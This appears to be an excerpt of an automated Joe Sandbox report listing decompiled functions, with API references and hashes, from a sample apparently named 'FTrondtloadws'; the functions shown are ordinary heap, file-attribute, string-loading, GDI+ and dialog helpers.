Opcode Fuzzy Hash: 7d81e34e1751e4e850f8a8b0adf023c29c575e3eece14630b29dddc33fdaad09
Instruction Fuzzy Hash: 8711E131600601AFD7258BA9C856FABB3E9EB05360F68072DE162D32D0D770EE45C760

Uniqueness

Uniqueness Score: -1.00%

Function 00CEA4F4 Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00CEA4F4(void* __ecx, void* __edx, void* _a4, long _a8) {
				void* _t4;
				long _t7;
				void* _t9;
				void* _t13;
				void* _t14;
				long _t16;

				_t13 = __edx;
				_t10 = __ecx;
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 = _a8;
					__eflags = _t16;
					if(_t16 != 0) {
						__eflags = _t16 - 0xffffffe0;
						if(_t16 <= 0xffffffe0) {
							while(1) {
								_t4 = HeapReAlloc( *0xd24714, 0, _t14, _t16);
								__eflags = _t4;
								if(_t4 != 0) {
									break;
								}
								__eflags = E00CE9E54();
								if(__eflags == 0) {
									goto L5;
								}
								_t7 = E00CE8CAC(_t10, _t13, __eflags, _t16);
								_pop(_t10);
								__eflags = _t7;
								if(_t7 == 0) {
									goto L5;
								}
							}
							L7:
							return _t4;
						}
						L5:
						 *((intOrPtr*)(E00CEA63B())) = 0xc;
						L6:
						_t4 = 0;
						__eflags = 0;
						goto L7;
					}
					E00CEA4BA(_t14);
					goto L6;
				}
				_t9 = E00CEA64E(__ecx, _a8); // executed
				return _t9;
			}

0x00cea4f4
0x00cea4f4
0x00cea4fa
0x00cea4ff
0x00cea50d
0x00cea510
0x00cea512
0x00cea51d
0x00cea520
0x00cea547
0x00cea551
0x00cea557
0x00cea559
0x00000000
0x00000000
0x00cea538
0x00cea53a
0x00000000
0x00000000
0x00cea53d
0x00cea542
0x00cea543
0x00cea545
0x00000000
0x00000000
0x00cea545
0x00cea52f
0x00000000
0x00cea52f
0x00cea522
0x00cea527
0x00cea52d
0x00cea52d
0x00cea52d
0x00000000
0x00cea52d
0x00cea515
0x00000000
0x00cea51a
0x00cea504
0x00000000

APIs

_free.LIBCMT ref: 00CEA515

Part of subcall function 00CEA64E: RtlAllocateHeap.NTDLL(00000000,?,?,?,00CE53E4,?,0000015D,?,?,?,?,00CE68C0,000000FF,00000000,?,?), ref: 00CEA680

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00D030C4,00CC187A,?,?,00000007,?,?,?,00CC13F2,?,00000000), ref: 00CEA551

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: a40bf91bb1fa2d239dc4560a1903c302db31a498fe0fa9560e79968f46d41247
Instruction ID: 856be20ab19dbf3e1b649d7d3f476cf4e27ae0b9a335ff46f12fda086cea52f4
Opcode Fuzzy Hash: a40bf91bb1fa2d239dc4560a1903c302db31a498fe0fa9560e79968f46d41247
Instruction Fuzzy Hash: 95F06232102A956EDB212A27AC05B6F276CDFD2B70B154025F82696191EA20BE01A5B3

Uniqueness

Uniqueness Score: -1.00%

Function 00CD2396 Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CD2396(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t14;
				signed int _t15;
				signed int _t17;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 != 0) {
					_t14 = 0;
					_t17 = _v8;
					_t15 = 1;
					do {
						if((_t17 & _t15) != 0) {
							_t14 = _t14 + 1;
						}
						_t15 = _t15 + _t15;
					} while (_t15 != 0);
					if(_t14 >= 1) {
						return _t14;
					}
					return 1;
				} else {
					return _t8 + 1;
				}
			}

0x00cd23aa
0x00cd23b2
0x00cd23b9
0x00cd23bd
0x00cd23c0
0x00cd23c2
0x00cd23c4
0x00cd23c6
0x00cd23c6
0x00cd23c7
0x00cd23c7
0x00cd23ce
0x00000000
0x00cd23d0
0x00cd23d3
0x00cd23b4
0x00cd23b6
0x00cd23b6

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00CD23A3
GetProcessAffinityMask.KERNEL32 ref: 00CD23AA

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 9e0392d5375ccf023ef2845dac791f2694ef6dea8d96b45e61c5f465270bf559
Instruction ID: 9268cb10fff92d1e81458e7e0af951c8f9d310022836d5196bc317f9750ceae1
Opcode Fuzzy Hash: 9e0392d5375ccf023ef2845dac791f2694ef6dea8d96b45e61c5f465270bf559
Instruction Fuzzy Hash: 17E04877B10105A7CF0D8BA49C05AFF73DDEA642457149176E713D3211F978DE019760

Uniqueness

Uniqueness Score: -1.00%

Function 00CCF948 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCF948(void* __eflags, int _a4, WCHAR* _a8, int _a12) {
				int _t11;
				void* _t14;
				WCHAR* _t15;

				_t15 = _a8;
				 *_t15 = 0;
				if(E00CCECB0(0xd03070, _t14, __eflags, _a4, _t15, _a12, 0, 0) == 0) {
					_t11 = LoadStringW( *0xd03068, _a4, _t15, _a12); // executed
					if(_t11 == 0) {
						LoadStringW( *0xd0306c, _a4, _t15, _a12);
					}
				}
				return _t15;
			}

0x00ccf94c
0x00ccf95b
0x00ccf969
0x00ccf978
0x00ccf980
0x00ccf98f
0x00ccf98f
0x00ccf980
0x00ccf999

APIs

LoadStringW.USER32(00CC76FD,?,00CC13BC,00CC76FD), ref: 00CCF978
LoadStringW.USER32(00CC76FD,?,00CC13BC), ref: 00CCF98F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: eef8cf02b9dc96c8ed3b6c2eeadbe1fe1a31984ab0226b209b66e9d317b3dc58
Instruction ID: 6dd4e6be788457fe7762e985811abfcbed51d1c339990f95d7951ac945f551b7
Opcode Fuzzy Hash: eef8cf02b9dc96c8ed3b6c2eeadbe1fe1a31984ab0226b209b66e9d317b3dc58
Instruction Fuzzy Hash: 0CF07475101219BBDF125F65EC05EAB7F6AEF1A2907048429FE58D6220D6328A61ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB8C6 Relevance: 3.0, APIs: 2, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCB8C6(WCHAR* _a4, long _a8) {
				short _v4100;
				int _t13;
				signed int _t19;
				signed int _t20;

				E00CDFE20(0x1000);
				_t13 = SetFileAttributesW(_a4, _a8); // executed
				_t20 = _t19 & 0xffffff00 | _t13 != 0x00000000;
				if(_t13 == 0 && E00CCCF12(_a4,  &_v4100, 0x800) != 0) {
					_t20 = _t20 & 0xffffff00 | SetFileAttributesW( &_v4100, _a8) != 0x00000000;
				}
				return _t20;
			}

0x00ccb8ce
0x00ccb8da
0x00ccb8e2
0x00ccb8e7
0x00ccb913
0x00ccb913
0x00ccb91a

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB8DA

Part of subcall function 00CCCF12: _wcslen.LIBCMT ref: 00CCCF36

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CCB595,?,?,?,00CCB3E5,?,00000001,00000000,?,?), ref: 00CCB90B

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: a80e76d7aa2a9b57a6773b100118dd477a7b32c01b7b865958b539233c47601a
Instruction ID: f798580cc0cc2ee150a98ea4652b54cb241143b22dfad4d2d1b4fe55c21a4c4c
Opcode Fuzzy Hash: a80e76d7aa2a9b57a6773b100118dd477a7b32c01b7b865958b539233c47601a
Instruction Fuzzy Hash: D9F03932500209BBDF115FA1CC41FEE376DBB043C5F048069FA59D6161EB71DE95EA60

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB450 Relevance: 3.0, APIs: 2, Instructions: 27
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCB450(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E00CDFE20(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t11 == 0 && E00CCCF12(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x00ccb458
0x00ccb461
0x00ccb469
0x00ccb46e
0x00ccb497
0x00ccb497
0x00ccb49e

APIs

DeleteFileW.KERNELBASE(?,00000000,?,00CCA416,?,?,?,?,00CC890B,?,?,?,00CF365F,000000FF), ref: 00CCB461

Part of subcall function 00CCCF12: _wcslen.LIBCMT ref: 00CCCF36

DeleteFileW.KERNEL32(?,?,?,00000800,?,00CCA416,?,?,?,?,00CC890B,?,?,?,00CF365F,000000FF), ref: 00CCB48F

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: c63140e19ba7cf6bf801bd5ecaeff484efdecc3df7e0e51ac056a80e22f4ec05
Instruction ID: 3d8d47c59bfe0e64fa20b2ede60e528a72f4e97c2f0c4d41f2384b89b6df56d0
Opcode Fuzzy Hash: c63140e19ba7cf6bf801bd5ecaeff484efdecc3df7e0e51ac056a80e22f4ec05
Instruction Fuzzy Hash: 0FE092325402096BEB01ABA0CC41FEE376CBB083C2F484029FA49D60A1EB60DE94EA54

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBD51 Relevance: 3.0, APIs: 2, Instructions: 26
comCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00CDBD51(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t8;
				void* _t13;
				void* _t16;
				intOrPtr _t19;

				 *[fs:0x0] = _t19;
				_t5 =  *0xd0a460; // 0x768ac100
				 *0xcf4278(_t5, _t13, _t16,  *[fs:0x0], 0xcf365f, 0xffffffff);
				 *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))();
				L00CDFBF3(); // executed
				_t8 =  *0xd25178( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t8;
			}

0x00cdbd62
0x00cdbd69
0x00cdbd7a
0x00cdbd80
0x00cdbd85
0x00cdbd8a
0x00cdbd94
0x00cdbd9d

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00CF365F,000000FF), ref: 00CDBD85
OleUninitialize.OLE32(?,?,?,?,00CF365F,000000FF), ref: 00CDBD8A

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 6dde6154cd910e4de667bf09e545127b94f801850151d10fd152cf5a16ed6cdb
Instruction ID: ffc3d64c3614ef8fe6ad908e369accc1e349da48c27d37d53b8c355308299dba
Opcode Fuzzy Hash: 6dde6154cd910e4de667bf09e545127b94f801850151d10fd152cf5a16ed6cdb
Instruction Fuzzy Hash: 40E06D72604B54EFC7119B5CDC05B1AFBA8FB88B20F04427AB11AD37A0CB74A841CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCB4B3 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCB4B3(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E00CDFE20(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E00CCCF12(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00ccb4bb
0x00ccb4c4
0x00ccb4ca
0x00ccb4cf
0x00ccb4f0
0x00ccb4f6
0x00ccb4f6
0x00ccb4fc

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00CCB4AA,?,00CC8022,?), ref: 00CCB4C4

Part of subcall function 00CCCF12: _wcslen.LIBCMT ref: 00CCCF36

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,00CCB4AA,?,00CC8022,?), ref: 00CCB4F0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 7e67f38a032e8595999fde1b019ba553b4e837873148262df50de9ba26e5e70c
Instruction ID: 817b2067697d856acc9e6554a6e8ee0a409e452e9ce493abd4abb23a8e1ac364
Opcode Fuzzy Hash: 7e67f38a032e8595999fde1b019ba553b4e837873148262df50de9ba26e5e70c
Instruction Fuzzy Hash: B0E092315002286BCB11EBA4DC05FDE7768BB093E2F040164FE66E7291DB709E41DAA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CDEE82 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDEE82(void* __eflags, intOrPtr _a4, signed char _a16) {
				short _v5124;
				signed int _t16;

				E00CDFE20(0x1400);
				E00CC4A00( &_v5124, 0xa00, E00CCF917((_a16 & 0x000000ff) + 0x65), _a4);
				SetDlgItemTextW( *0xd0a470, 0x65,  &_v5124); // executed
				_t16 = E00CDC5F8(); // executed
				return _t16 & 0xffffff00 |  *0xd0a46c == 0x00000000;
			}

0x00cdee8a
0x00cdeeac
0x00cdeec3
0x00cdeec9
0x00cdeed9

APIs

_swprintf.LIBCMT ref: 00CDEEAC

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

SetDlgItemTextW.USER32(00000065,?), ref: 00CDEEC3

Part of subcall function 00CDC5F8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDC609
Part of subcall function 00CDC5F8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDC61A
Part of subcall function 00CDC5F8: IsDialogMessageW.USER32(00010424,?), ref: 00CDC62E
Part of subcall function 00CDC5F8: TranslateMessage.USER32(?), ref: 00CDC63C
Part of subcall function 00CDC5F8: DispatchMessageW.USER32(?), ref: 00CDC646

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: ed5ea5855dd44514fbe937e9be9a4a888ed416cf5dc5317f1f2123b813085dfe
Instruction ID: ac42968e3f330afc7b8fa4c0518e659684aed12374330afc0a447ee67b1c65dd
Opcode Fuzzy Hash: ed5ea5855dd44514fbe937e9be9a4a888ed416cf5dc5317f1f2123b813085dfe
Instruction Fuzzy Hash: 3AE0D17540434826DF016765FC0AFDE376C5B05389F044065F345D61B3D574D611AB72

Uniqueness

Uniqueness Score: -1.00%

Function 00CD1B14 Relevance: 3.0, APIs: 2, Instructions: 24
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CD1B14(intOrPtr _a4) {
				short _v4100;
				int _t8;
				struct HINSTANCE__* _t12;

				E00CDFE20(0x1000);
				_t8 = GetSystemDirectoryW( &_v4100, 0x800);
				_t14 = _t8;
				if(_t8 != 0) {
					E00CCD1E0(_t14,  &_v4100, _a4,  &_v4100, 0x800);
					_t12 = LoadLibraryW( &_v4100); // executed
					return _t12;
				}
				return _t8;
			}

0x00cd1b1c
0x00cd1b2f
0x00cd1b35
0x00cd1b37
0x00cd1b45
0x00cd1b51
0x00000000
0x00cd1b51
0x00cd1b59

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD1B2F
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CD0613,Crypt32.dll,00000000,00CD068D,00000200,?,00CD0670,00000000,00000000,?), ref: 00CD1B51

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 29c3cf7a829a70a62363dea0e7ad1f9f1aaa5942902305f23c4e5276ba394f93
Instruction ID: f1d5fb4d10492d151403516491951e4ec653806d6c9780c3326681222cb85ee8
Opcode Fuzzy Hash: 29c3cf7a829a70a62363dea0e7ad1f9f1aaa5942902305f23c4e5276ba394f93
Instruction Fuzzy Hash: B8E012765001186ADB119B94DC08FEF776CEF093C1F080066B745D2144DA74DA84CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB398 Relevance: 3.0, APIs: 2, Instructions: 23
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00CDB398(signed int __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _t10;
				signed int _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t10 =  &_v8;
				_v8 = __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_t10);
				_push(_a4);
				 *__ecx = 0xcf57d8;
				if(_a8 == 0) {
					L00CDFBDB(); // executed
				} else {
					L00CDFBE1();
				}
				 *((intOrPtr*)(_t15 + 8)) = _t10;
				 *(_t15 + 4) = _v8;
				return _t15;
			}

0x00cdb39b
0x00cdb39d
0x00cdb39f
0x00cdb3a2
0x00cdb3a5
0x00cdb3ad
0x00cdb3ae
0x00cdb3b1
0x00cdb3b7
0x00cdb3c0
0x00cdb3b9
0x00cdb3b9
0x00cdb3b9
0x00cdb3c5
0x00cdb3cb
0x00cdb3d2

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CDB3B9
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00CDB3C0

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: c5ccdc58161f389583fe620d93c272c33476d63ec383e4685429380f54843efa
Instruction ID: 0f9f10bec3f2cf690420469a49435f2c0213b3f7b847e8dd001ae1f62129da95
Opcode Fuzzy Hash: c5ccdc58161f389583fe620d93c272c33476d63ec383e4685429380f54843efa
Instruction Fuzzy Hash: 21E0ED71504618FBCB50EF95C941799B7F8EF04350F21806FEA5693710D774AF04AB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CE3B6C Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00CE3B6C(void* __ecx) {
				intOrPtr _t1;
				void* _t2;
				void* _t7;
				void* _t9;

				_t1 = E00CE4C3D(__ecx, E00CE3AB0); // executed
				 *0xd007d0 = _t1;
				_pop(_t7);
				if(_t1 != 0xffffffff) {
					_t2 = E00CE4CEE(_t7, _t1, 0xd24098);
					_pop(_t9);
					if(_t2 != 0) {
						return 1;
					} else {
						E00CE3B9F(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00ce3b71
0x00ce3b76
0x00ce3b7b
0x00ce3b7f
0x00ce3b8a
0x00ce3b90
0x00ce3b93
0x00ce3b9e
0x00ce3b95
0x00ce3b95
0x00000000
0x00ce3b95
0x00ce3b81
0x00ce3b81
0x00ce3b83
0x00ce3b83

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CE3B8A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00CE3B95

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 4af4787fb737b92fe52ecbba80f62bc2dad2b9b79ceb470c3a3de5cccc7169cd
Instruction ID: 4e11f01c310c0ac503e9600c0e2e1becf233e36b91c92dcaaea74f2a2a728507
Opcode Fuzzy Hash: 4af4787fb737b92fe52ecbba80f62bc2dad2b9b79ceb470c3a3de5cccc7169cd
Instruction Fuzzy Hash: 5ED022798087D01ACC2822B33D0F55823406C21BB9FB022AAE832CB1C1EF18F3883021

Uniqueness

Uniqueness Score: -1.00%

Function 00CC12D1 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00CC12D1(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x00cc12d8
0x00cc12ed
0x00cc12f3

APIs

GetDlgItem.USER32(?,?), ref: 00CC12E6
ShowWindow.USER32(00000000), ref: 00CC12ED

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
